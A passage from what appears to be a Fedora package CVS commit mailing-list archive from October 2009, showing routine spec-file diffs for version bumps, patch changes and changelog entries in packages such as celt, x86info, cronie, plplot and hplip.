+BuildRequires:  perl(Test::More)
+BuildRequires:  perl(Test::Pod)
+BuildRequires:  perl(Test::Pod::Coverage)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -39,12 +39,12 @@ rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} \;
 
 %{_fixperms} $RPM_BUILD_ROOT/*
 
 %check
-%{?_with_check:make test}
+make test
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 1.037-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.036-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	23 Jan 2009 01:21:02 -0000	1.7
+++ sources	30 Oct 2009 16:05:10 -0000	1.8
@@ -1 +1 @@
-1c5caafa0f80e2b99ec52c4957941029  Test-Prereq-1.036.tar.gz
+d38be5a57b38cf500a7c2a212fb697e9  Test-Prereq-1.037.tar.gz



From pbrobinson at fedoraproject.org  Fri Oct 30 16:06:52 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 30 Oct 2009 16:06:52 +0000 (UTC)
Subject: rpms/celt/F-12 .cvsignore, 1.4, 1.5 celt.spec, 1.5, 1.6 sources, 1.4,
	1.5
Message-ID: <20091030160652.4C27B11C00EA@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/celt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5056

Modified Files:
	.cvsignore celt.spec sources 
Log Message:
- New 0.7.0 upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/celt/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	6 Jul 2009 10:17:21 -0000	1.4
+++ .cvsignore	30 Oct 2009 16:06:51 -0000	1.5
@@ -1 +1 @@
-celt-0.6.0.tar.gz
+celt-0.7.0.tar.gz


Index: celt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/celt/F-12/celt.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- celt.spec	24 Jul 2009 18:47:17 -0000	1.5
+++ celt.spec	30 Oct 2009 16:06:51 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           celt
-Version:        0.6.0
-Release:        2%{?dist}
+Version:        0.7.0
+Release:        1%{?dist}
 Summary:        An audio codec for use in low-delay speech and audio communication
 
 Group:          System Environment/Libraries
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libcelt.so
 
 %changelog
+* Fri Oct 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.7.0-1
+- New 0.7.0 upstream release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/celt/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	6 Jul 2009 10:17:21 -0000	1.4
+++ sources	30 Oct 2009 16:06:51 -0000	1.5
@@ -1 +1 @@
-6118c5ea0bb932b2934a2780550c2710  celt-0.6.0.tar.gz
+0bb72abec367f4ef12551f79dda11b23  celt-0.7.0.tar.gz



From davej at fedoraproject.org  Fri Oct 30 16:06:55 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Fri, 30 Oct 2009 16:06:55 +0000 (UTC)
Subject: rpms/x86info/F-12 .cvsignore, 1.17, 1.18 sources, 1.15,
	1.16 x86info.spec, 1.43, 1.44
Message-ID: <20091030160655.0C82411C00EA@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/x86info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5089

Modified Files:
	.cvsignore sources x86info.spec 
Log Message:
Update to new upstream 1.25


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	6 Feb 2009 17:18:50 -0000	1.17
+++ .cvsignore	30 Oct 2009 16:06:54 -0000	1.18
@@ -1,3 +1,4 @@
 clog
 x86info-1.24
 x86info-1.24.tgz
+x86info-1.25.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	6 Feb 2009 17:18:50 -0000	1.15
+++ sources	30 Oct 2009 16:06:54 -0000	1.16
@@ -1 +1 @@
-f4476fb55918cf3b20312f858af44334  x86info-1.24.tgz
+29143559c611272ec2045361a6ffd813  x86info-1.25.tgz


Index: x86info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/F-12/x86info.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- x86info.spec	27 Jul 2009 07:32:59 -0000	1.43
+++ x86info.spec	30 Oct 2009 16:06:54 -0000	1.44
@@ -1,6 +1,6 @@
 Summary:        x86 processor information tool.
 Name:           x86info
-Version:        1.24
+Version:        1.25
 Release:        %(R="$Revision$"; RR="${R##: }"; echo ${RR%%?})%{?dist}.1
 Epoch:          1
 Group:          System Environment/Base
@@ -47,6 +47,9 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/*/*
 
 %changelog
+* Fri Oct 30 2009 Dave Jones <davej at redhat.com>
+- Update to new upstream 1.25
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.24-1.42.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From davej at fedoraproject.org  Fri Oct 30 16:07:51 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Fri, 30 Oct 2009 16:07:51 +0000 (UTC)
Subject: rpms/x86info/F-12 .cvsignore,1.18,1.19
Message-ID: <20091030160751.6D70A11C00EA@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/x86info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5484

Modified Files:
	.cvsignore 
Log Message:
Update to new upstream 1.25


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	30 Oct 2009 16:06:54 -0000	1.18
+++ .cvsignore	30 Oct 2009 16:07:50 -0000	1.19
@@ -1,4 +1,3 @@
 clog
-x86info-1.24
-x86info-1.24.tgz
+x86info-1.25
 x86info-1.25.tgz



From davej at fedoraproject.org  Fri Oct 30 16:08:29 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Fri, 30 Oct 2009 16:08:29 +0000 (UTC)
Subject: rpms/x86info/F-12 x86info.spec,1.44,1.45
Message-ID: <20091030160829.D016211C00EA@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/x86info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5774

Modified Files:
	x86info.spec 
Log Message:
remove .1


Index: x86info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/F-12/x86info.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- x86info.spec	30 Oct 2009 16:06:54 -0000	1.44
+++ x86info.spec	30 Oct 2009 16:08:29 -0000	1.45
@@ -1,7 +1,7 @@
 Summary:        x86 processor information tool.
 Name:           x86info
 Version:        1.25
-Release:        %(R="$Revision$"; RR="${R##: }"; echo ${RR%%?})%{?dist}.1
+Release:        %(R="$Revision$"; RR="${R##: }"; echo ${RR%%?})%{?dist}
 Epoch:          1
 Group:          System Environment/Base
 License:        GPLv2+



From mschwendt at fedoraproject.org  Fri Oct 30 16:08:32 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri, 30 Oct 2009 16:08:32 +0000 (UTC)
Subject: rpms/audacious-plugins/devel audacious-plugins.spec,1.58,1.59
Message-ID: <20091030160832.5BB6411C00EA@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5800

Modified Files:
	audacious-plugins.spec 
Log Message:



Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- audacious-plugins.spec	30 Oct 2009 10:10:02 -0000	1.58
+++ audacious-plugins.spec	30 Oct 2009 16:08:32 -0000	1.59
@@ -27,7 +27,7 @@ Patch2: audacious-plugins-2.0.1-xmms-ski
 Patch3: audacious-plugins-2.2-beta1-pulseaudio.patch
 # merged upstream
 Patch4: audacious-plugins-2.2-beta1-modplug.patch
-# submitted upstream
+# merged upstream
 Patch5: audacious-plugins-2.2-beta1-filewriter-dialogs.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}



From kkofler at fedoraproject.org  Fri Oct 30 16:31:48 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri, 30 Oct 2009 16:31:48 +0000 (UTC)
Subject: rpms/galeon/F-12 galeon.spec,1.66,1.67
Message-ID: <20091030163148.3914A11C00E8@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/galeon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15396/F-12

Modified Files:
	galeon.spec 
Log Message:
* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.7-17
- Bump Release to fix upgrade path from F11

(sorry for having screwed it up in the first place, I forgot to check what EVR had been used for the F11 rebuild)


Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/F-12/galeon.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- galeon.spec	28 Oct 2009 13:25:44 -0000	1.66
+++ galeon.spec	30 Oct 2009 16:31:46 -0000	1.67
@@ -3,7 +3,7 @@
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	16%{?dist}.1
+Release:	17%{?dist}
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
@@ -133,6 +133,9 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Fri Oct 30 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.7-17
+- Bump Release to fix upgrade path from F11
+
 * Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.7-16.1
 - Rebuild for new xulrunner (1.9.1.4)
 



From mmaslano at fedoraproject.org  Fri Oct 30 16:35:12 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri, 30 Oct 2009 16:35:12 +0000 (UTC)
Subject: rpms/cronie/devel cronie.spec,1.28,1.29
Message-ID: <20091030163512.49B3911C00E8@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16343

Modified Files:
	cronie.spec 
Log Message:
* Fri Oct 30 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-3
- 531963 creating noanacron package



Index: cronie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/devel/cronie.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- cronie.spec	19 Oct 2009 10:49:20 -0000	1.28
+++ cronie.spec	30 Oct 2009 16:35:11 -0000	1.29
@@ -6,12 +6,13 @@
 Summary: Cron daemon for executing programs at set times
 Name: cronie
 Version: 1.4.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT and BSD and GPLv2
 Group: System Environment/Base
 URL: https://fedorahosted.org/cronie
 Source0: https://fedorahosted.org/releases/c/r/cronie/%{name}-%{version}.tar.gz
 Patch0:	cronie-service-stop.patch
+Patch1: contrib.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: syslog, bash >= 2.0
@@ -19,6 +20,7 @@ Requires: /usr/sbin/sendmail
 Conflicts: sysklogd < 1.4.1
 Provides: vixie-cron = 4:4.4
 Obsoletes: vixie-cron <= 4:4.3
+Requires: dailyjobs
 
 %if %{with selinux}
 Requires: libselinux >= 2.0.64
@@ -48,6 +50,7 @@ SELinux.
 Summary: Utility for running regular jobs
 Requires: crontabs
 Group: System Environment/Base
+Provides: dailyjobs
 Provides: anacron = 2.4
 Obsoletes: anacron <= 2.3
 Requires(post): coreutils
@@ -57,9 +60,19 @@ Anacron becames part of cronie. Anacron 
 The default settings execute regular jobs by anacron, however this could be
 overloaded in settings.
 
+%package noanacron
+Summary: Utility for running simple regular jobs in old cron style
+Group: System Environment/Base
+Provides: dailyjobs
+Requires: crontabs
+
+%description noanacron
+Old style of {hourly,daily,weekly,monthly}.jobs without anacron. No features.
+
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 %build
 
@@ -102,6 +115,9 @@ touch $RPM_BUILD_ROOT/var/spool/anacron/
 touch $RPM_BUILD_ROOT/var/spool/anacron/cron.weekly
 touch $RPM_BUILD_ROOT/var/spool/anacron/cron.monthly
 
+# noanacron package
+install -m 644 $RPM_SOURCE_DIR/dailyjobs $RPM_BUILD_ROOT/%{_sysconfdir}/cron.d/dailyjobs
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -161,11 +177,11 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %config(noreplace) %{_sysconfdir}/sysconfig/crond
 %config(noreplace) %{_sysconfdir}/cron.deny
 %config(noreplace) %{_sysconfdir}/anacrontab
+%attr(0644,root,root) %{_sysconfdir}/cron.d/0hourly
 
 %files anacron
 %defattr(-,root,root,-)
 %{_sbindir}/anacron
-%attr(0644,root,root) %{_sysconfdir}/cron.d/0hourly
 %attr(0755,root,root) %{_sysconfdir}/cron.hourly/0anacron
 %dir /var/spool/anacron
 %ghost %verify(not md5 size mtime) /var/spool/anacron/cron.daily
@@ -174,7 +190,14 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %{_mandir}/man5/anacrontab.*
 %{_mandir}/man8/anacron.*
 
+%files noanacron
+%defattr(-,root,root,-)
+%attr(0644,root,root) %{_sysconfdir}/cron.d/dailyjobs
+
 %changelog
+* Fri Oct 30 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-3
+- 531963 creating noanacron package
+
 * Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-2
 - 529632 service crond stop returns appropriate value
 



From spot at fedoraproject.org  Fri Oct 30 16:54:17 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 16:54:17 +0000 (UTC)
Subject: rpms/nant/F-12 nant.spec,1.37,1.38
Message-ID: <20091030165417.1CE9D11C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/nant/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21454

Modified Files:
	nant.spec 
Log Message:
bootstrap build, temporary to get log4net, mono-nunit22, mono-sharpcvslib rebuilt


Index: nant.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nant/F-12/nant.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- nant.spec	29 Oct 2009 18:43:45 -0000	1.37
+++ nant.spec	30 Oct 2009 16:54:16 -0000	1.38
@@ -1,12 +1,12 @@
 %global debug_package %{nil}
 %global monodir %{_libdir}
 %global mlib %{_lib}
-%global bootstrap 0
+%global bootstrap 1
 
 Summary: NAnt is a build tool for Mono and .NET
 Name: nant
 Version: 0.85	
-Release: 31%{?dist}
+Release: 31%{?dist}.1
 Epoch: 1
 Source0: http://download.sourceforge.net/nant/%{name}-%{version}-src.tar.gz
 Patch0: nant-build.patch
@@ -131,6 +131,9 @@ scrollkeeper-update -q || :
 %doc examples/* doc/help/*
 
 %changelog
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at rdhat.com> - 1:0.85-31.1
+- bootstrapping again
+
 * Thu Oct 29 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1:0.85-31
 - rebuild because mono-ndoc "cleverly" encodes its build date into its ABI ver
 



From orion at fedoraproject.org  Fri Oct 30 16:57:38 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 16:57:38 +0000 (UTC)
Subject: rpms/plplot/devel plplot-5.9.6-test.patch, NONE, 1.1 plplot.spec,
	1.93, 1.94
Message-ID: <20091030165738.C4EAA11C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/plplot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22532

Modified Files:
	plplot.spec 
Added Files:
	plplot-5.9.6-test.patch 
Log Message:
Update test patch


plplot-5.9.6-test.patch:
 plplot-test.sh.cmake |   45 ++++++++++++++-------------------------------
 1 file changed, 14 insertions(+), 31 deletions(-)

--- NEW FILE plplot-5.9.6-test.patch ---
--- plplot-5.9.5/plplot_test/plplot-test.sh.cmake.test	2009-10-30 10:15:41.431600319 -0600
+++ plplot-5.9.5/plplot_test/plplot-test.sh.cmake	2009-10-30 10:18:55.597600147 -0600
@@ -35,8 +35,9 @@
 
 version=@VERSION@
 
-EXAMPLES_DIR=${EXAMPLES_DIR:-.}
-SRC_EXAMPLES_DIR=${SRC_EXAMPLES_DIR:-.}
+EXE_DIR=`dirname $0`
+EXAMPLES_DIR=${EXAMPLES_DIR:=$EXE_DIR}
+SRC_EXAMPLES_DIR=${SRC_EXAMPLES_DIR:=$EXE_DIR}
 OUTPUT_DIR=${OUTPUT_DIR:-.}
 device=${DEVICE:-psc}
 export EXAMPLES_DIR SRC_EXAMPLES_DIR OUTPUT_DIR device DEBUG_CMD
@@ -152,18 +153,6 @@
    shift
 done
 
-# This script is only designed to work when EXAMPLES_DIR is a directory
-# with a subdirectory called "c".  Check whether this conditions is true.
-
-if [ ! -d $EXAMPLES_DIR/c ] ; then
-echo '
-This script is only designed to work when the EXAMPLES_DIR environment
-variable (overridden by option --examples-dir) is a directory with a
-subdirectory called "c".  This condition has been violated.
-'
-exit 1
-fi
-
 # Find where the front-end scripts are by looking at the directory name of the
 # current script.  
 
@@ -352,21 +341,18 @@
 dsuffix=$device
 export dsuffix options
 
-# Find out what front-ends have been configured
+# Find out what front-ends have been configured and installed
 if [ -z "$FRONT_END" ] ; then
-   FRONT_END=c
-   test "@ENABLE_cxx@" = "ON" && FRONT_END="$FRONT_END cxx"
-   test "@ENABLE_f77@" = "ON"    && FRONT_END="$FRONT_END f77"
-   test "@ENABLE_f95@" = "ON"    && FRONT_END="$FRONT_END f95"
-   test "@ENABLE_java@" = "ON"   && FRONT_END="$FRONT_END java"
-   test "@ENABLE_octave@" = "ON" && FRONT_END="$FRONT_END octave"
-   test "@ENABLE_python@" = "ON" && FRONT_END="$FRONT_END python"
-   test "@ENABLE_tcl@" = "ON"    && FRONT_END="$FRONT_END tcl"
-   test "@ENABLE_pdl@" = "ON"    && FRONT_END="$FRONT_END pdl"
-   test "@ENABLE_ada@" = "ON"    && FRONT_END="$FRONT_END ada"
-   test "@ENABLE_ocaml@" = "ON"  && FRONT_END="$FRONT_END ocaml"
-   test "@ENABLE_lua@" = "ON"  && FRONT_END="$FRONT_END lua"
-   test "@ENABLE_d@" = "ON"  && FRONT_END="$FRONT_END d"
+   for front_end_status in c:@ENABLE_c@ cxx:@ENABLE_cxx@ f77:@ENABLE_f77@ \
+                           f95:@ENABLE_f95@ java:@ENABLE_java@ \
+                           octave:@ENABLE_octave@ python:@ENABLE_python@ \
+                           tcl:@ENABLE_tcl@ pdl:@ENABLE_pdl@ \
+                           ada:@ENABLE_ada@ ocaml:@ENABLE_ocaml@ \
+                           lua:@ENABLE_lua@ d:@ENABLE_d@
+   do
+      front_end=${front_end_status/:ON/}
+      [ $front_end != $front_end_status ] && [ -d $EXAMPLES_DIR/$front_end ] && FRONT_END="$FRONT_END $front_end"
+   done
 fi
 
 # Call the front-end scripts
@@ -383,9 +369,6 @@
 for i in $FRONT_END ; do
    echo "Testing front-end $i"
    script=$scripts_dir/test_$i.sh
-   if [ "@WIN32@" != "1" ] ; then
-      chmod +x $script
-   fi
    @SH_EXECUTABLE@ $script || status=1
 done
 


Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/devel/plplot.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- plplot.spec	30 Oct 2009 16:04:55 -0000	1.93
+++ plplot.spec	30 Oct 2009 16:57:38 -0000	1.94
@@ -23,7 +23,7 @@ Patch1:         plplot-5.9.3-multiarch.p
 Patch2:         plplot-5.9.2-info.patch
 Patch3:         plplot-5.9.4-octave32.patch
 Patch4:         plplot-5.9.4-transform_version.patch
-Patch5:         plplot-5.9.5-test.patch
+Patch5:         plplot-5.9.6-test.patch
 Patch6:         plplot-5.7.3-jni.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -51,9 +51,6 @@ BuildRequires:  gnu-free-serif-fonts
 %if %{with pdl}
 BuildRequires:  perl(PDL::Graphics::PLplot)
 %endif
-%ifarch %{ix86} x86_64
-BuildRequires:  svgalib-devel
-%endif
 %if %{with doc}
 BuildRequires:  texlive, texinfo, openjade, jadetex, docbook2X, docbook-style-dsssl
 %endif
@@ -349,7 +346,6 @@ printenv
         -DPLD_aqt:BOOL=ON \
         -DPLD_conex:BOOL=ON \
         -DPLD_imp:BOOL=ON \
-        -DPLD_linuxvga:BOOL=ON \
         -DPLD_mskermit:BOOL=ON \
         -DPLD_ntk:BOOL=ON \
         -DPLD_pstex:BOOL=ON \
@@ -481,10 +477,6 @@ fi
 %dir %{_libdir}/plplot%{version}/driversd
 %{_libdir}/plplot%{version}/driversd/cairo.rc
 %{_libdir}/plplot%{version}/driversd/cairo.so
-%ifarch %{ix86} x86_64
-%{_libdir}/plplot%{version}/driversd/linuxvga.rc
-%{_libdir}/plplot%{version}/driversd/linuxvga.so
-%endif
 %{_libdir}/plplot%{version}/driversd/mem.rc
 %{_libdir}/plplot%{version}/driversd/mem.so
 %{_libdir}/plplot%{version}/driversd/ntk.rc
@@ -676,6 +668,7 @@ fi
 %changelog
 * Fri Oct 30 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-4
 - Update to svn 10561 to fix build issues
+- Update test patch
 
 * Mon Oct 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-3
 - Create fortran-devel sub-package with fortran development files (bug #523543)



From twaugh at fedoraproject.org  Fri Oct 30 17:04:24 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 17:04:24 +0000 (UTC)
Subject: rpms/hplip/F-12 hplip.spec, 1.243, 1.244 hplip-retry-open.patch, 1.1,
	NONE
Message-ID: <20091030170424.4781311C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25340

Modified Files:
	hplip.spec 
Removed Files:
	hplip-retry-open.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-20
- Reverted retry patch until it can be tested some more.



Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-12/hplip.spec,v
retrieving revision 1.243
retrieving revision 1.244
diff -u -p -r1.243 -r1.244
--- hplip.spec	29 Oct 2009 12:51:15 -0000	1.243
+++ hplip.spec	30 Oct 2009 17:04:23 -0000	1.244
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -24,7 +24,6 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
-Patch12: hplip-retry-open.patch
 Patch13: hplip-plugin-error.patch
 Patch14: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -149,9 +148,6 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
 
-# Retry when connecting to device fails (bug #528483).
-%patch12 -p1 -b .retry-open
-
 # Set a printer-state-reason when there's a missing required plugin
 # (bug #531330).
 %patch13 -p1 -b .plugin-error
@@ -362,6 +358,9 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-20
+- Reverted retry patch until it can be tested some more.
+
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
 - Retry when connecting to device fails (bug #528483).
 - Avoid busy loop in hpcups when backend has exited (bug #525944).


--- hplip-retry-open.patch DELETED ---



From twaugh at fedoraproject.org  Fri Oct 30 17:05:14 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 17:05:14 +0000 (UTC)
Subject: rpms/hplip/devel hplip.spec, 1.242, 1.243 hplip-retry-open.patch,
	1.1, NONE
Message-ID: <20091030170514.1DA7B11C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25677

Modified Files:
	hplip.spec 
Removed Files:
	hplip-retry-open.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-20
- Reverted retry patch until it can be tested some more.



Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/devel/hplip.spec,v
retrieving revision 1.242
retrieving revision 1.243
diff -u -p -r1.242 -r1.243
--- hplip.spec	29 Oct 2009 13:08:05 -0000	1.242
+++ hplip.spec	30 Oct 2009 17:05:13 -0000	1.243
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -24,7 +24,6 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
-Patch12: hplip-retry-open.patch
 Patch13: hplip-plugin-error.patch
 Patch14: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -149,9 +148,6 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
 
-# Retry when connecting to device fails (bug #528483).
-%patch12 -p1 -b .retry-open
-
 # Set a printer-state-reason when there's a missing required plugin
 # (bug #531330).
 %patch13 -p1 -b .plugin-error
@@ -362,6 +358,9 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-20
+- Reverted retry patch until it can be tested some more.
+
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
 - Retry when connecting to device fails (bug #528483).
 - Avoid busy loop in hpcups when backend has exited (bug #525944).


--- hplip-retry-open.patch DELETED ---



From rhughes at fedoraproject.org  Fri Oct 30 17:10:24 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Fri, 30 Oct 2009 17:10:24 +0000 (UTC)
Subject: rpms/argyllcms/F-12 argyllcms.spec,1.13,1.14
Message-ID: <20091030171024.9A0F811C00E8@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/argyllcms/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27397

Modified Files:
	argyllcms.spec 
Log Message:
* Fri Oct 30 2009 Richard Hughes <rhughes at redhat.com> - 1.0.4-3
- Install the udev rules file so users can get the correct device
  permissions on F12 and above which does not use HAL policy files.



Index: argyllcms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argyllcms/F-12/argyllcms.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- argyllcms.spec	24 Jul 2009 17:03:21 -0000	1.13
+++ argyllcms.spec	30 Oct 2009 17:10:23 -0000	1.14
@@ -5,7 +5,7 @@
 
 Name:    argyllcms
